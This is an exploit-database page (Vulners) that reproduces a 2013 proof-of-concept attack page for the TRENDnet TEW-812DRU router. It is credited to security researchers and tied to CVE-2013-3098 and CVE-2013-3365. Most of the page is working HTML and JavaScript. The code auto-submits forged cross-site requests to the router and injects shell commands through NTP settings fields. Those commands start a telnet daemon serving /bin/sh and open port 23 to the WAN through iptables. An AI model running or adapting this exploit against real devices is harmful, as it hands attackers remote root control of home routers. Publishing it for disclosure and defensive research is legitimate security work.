Vulners
Lucene search
TRENDnet TEW-812DRU - Cross-Site Request Forgery/Command Injection Root
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | TRENDnet TEW-812DRU CSRF/Command Injection Root Exploit | 29 Jul 201300:00 | – | zdt |
 | CVE-2013-3098 | 4 Feb 201416:00 | – | cve |
| CVE-2013-3365 | 4 Feb 201416:00 | – | cve |
 | CVE-2013-3098 | 4 Feb 201416:00 | – | cvelist |
| CVE-2013-3365 | 4 Feb 201416:00 | – | cvelist |
 | EUVD-2013-3036 | 7 Oct 202500:30 | – | euvd |
| EUVD-2013-3300 | 7 Oct 202500:30 | – | euvd |
 | TRENDnet TEW-812DRU - Cross-Site Request ForgeryCommand Injection Root | 28 Jul 201300:00 | – | exploitpack |
 | CVE-2013-3098 | 4 Feb 201421:55 | – | nvd |
| CVE-2013-3365 | 4 Feb 201421:55 | – | nvd |
10
<html>
<head>
<title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title>
<!--
# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators
# Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators
# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators
# CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365
# http://infosec42.blogspot.com
# http://securityevaluators.com
-->
</head>
<body>
<img src="http://192.168.10.1/Images/logo.gif"><!--TRENDnet Logo for attack launch page -->
<h1>Please wait... </h1>
<script type="text/javascript">
//Request to enable port forwarding to the routers internal IP on port 23
//This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC.
function RF1(){
document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+
'<input type="hidden" name="page" value="/advanced/single_port.asp">'+
'<input type="hidden" name="forward_port_enable" value="0">'+
'<input type="hidden" name="forward_port" value="24">'+
'<input type="hidden" name="forward_port_proto0" value="tcp">'+
'<input type="hidden" name="forward_port_from_start0" value="23">'+
'<input type="hidden" name="forward_port_from_end0" value="23">'+
'<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+
'<input type="hidden" name="forward_port_to_start0" value="23">'+
'<input type="hidden" name="forward_port_to_end0" value="23">'+
'<input type="hidden" name="schedule0" value="0">'+
'<input type="hidden" name="forward_port_enable0" value="on">'+
'<input tpye="hidden" name="action" value="Apply">'+
'</form>');
}
//Request to enable telnet
function RF2(){
document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
'<input type="hidden" name="page" value="/adm/time.asp">'+
'<input type="hidden" name="DSTenable" value="on">'+
'<input type="hidden" name="NtpDstEnable" value="1">'+
'<input type="hidden" name="NtpDstOffset" value="`utelnetd -l /bin/sh`">'+
'<input type="hidden" name="NtpDstStart" value="030102">'+
'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
'<input type="hidden" name="NtpDstEnd" value="100102">'+
'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
'<input type="hidden" name="ntp_server" value="1">'+
'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
'<input type="hidden" name="time_zone" value="UCT_-11">'+
'<input type="hidden" name="timer_interval" value="300">'+
'<input type="hidden" name="manual_year_select" value="2012">'+
'<input type="hidden" name="manual_month_select" value="01">'+
'<input type="hidden" name="manual_day_select" value="01">'+
'<input type="hidden" name="manual_hour_select" value="00">'+
'<input type="hidden" name="manual_min_select" value="19">'+
'<input type="hidden" name="manual_sec_select" value="57">'+
'<input type="hidden" name="timeTag" value="manual">'+
'</form>');
}
//Request to change iptables to allow port 23 from the WAN.
function RF3(){
document.write(
'<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
'<input type="hidden" name="page" value="/adm/time.asp">'+
'<input type="hidden" name="DSTenable" value="on">'+
'<input type="hidden" name="NtpDstEnable" value="1">'+
'<input type="hidden" name="NtpDstOffset" value="3600">'+
'<input type="hidden" name="NtpDstStart" value="030102">'+
'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
'<input type="hidden" name="NtpDstEnd" value="`count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;`">'+
'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
'<input type="hidden" name="ntp_server" value="1">'+
'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
'<input type="hidden" name="time_zone" value="UCT_-11">'+
'<input type="hidden" name="timer_interval" value="300">'+
'<input type="hidden" name="manual_year_select" value="2012">'+
'<input type="hidden" name="manual_month_select" value="01">'+
'<input type="hidden" name="manual_day_select" value="01">'+
'<input type="hidden" name="manual_hour_select" value="00">'+
'<input type="hidden" name="manual_min_select" value="19">'+
'<input type="hidden" name="manual_sec_select" value="57">'+
'<input type="hidden" name="timeTag" value="manual">'+
'</form>');
}
function createPage(){
RF1();
RF2();
RF3();
document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>');
}
function _portfwd(){
document.portfwd.submit();
}
function _enable23(){
document.enable23.submit();
}
function _ipTableRule(){
document.ipTableRule.submit();i
}
//Called Functions
createPage()
for(var i = 0; i < 3; i++){
if(i == 0){
window.setTimeout(_portfwd, 1000);
}
else if(i == 1){
window.setTimeout(_enable23, 2000);
}
else if(i == 2){
window.setTimeout(_ipTableRule, 4000);
}
else{
continue;
}
}
</script>
</body>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2013 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 28.5
EPSS0.06761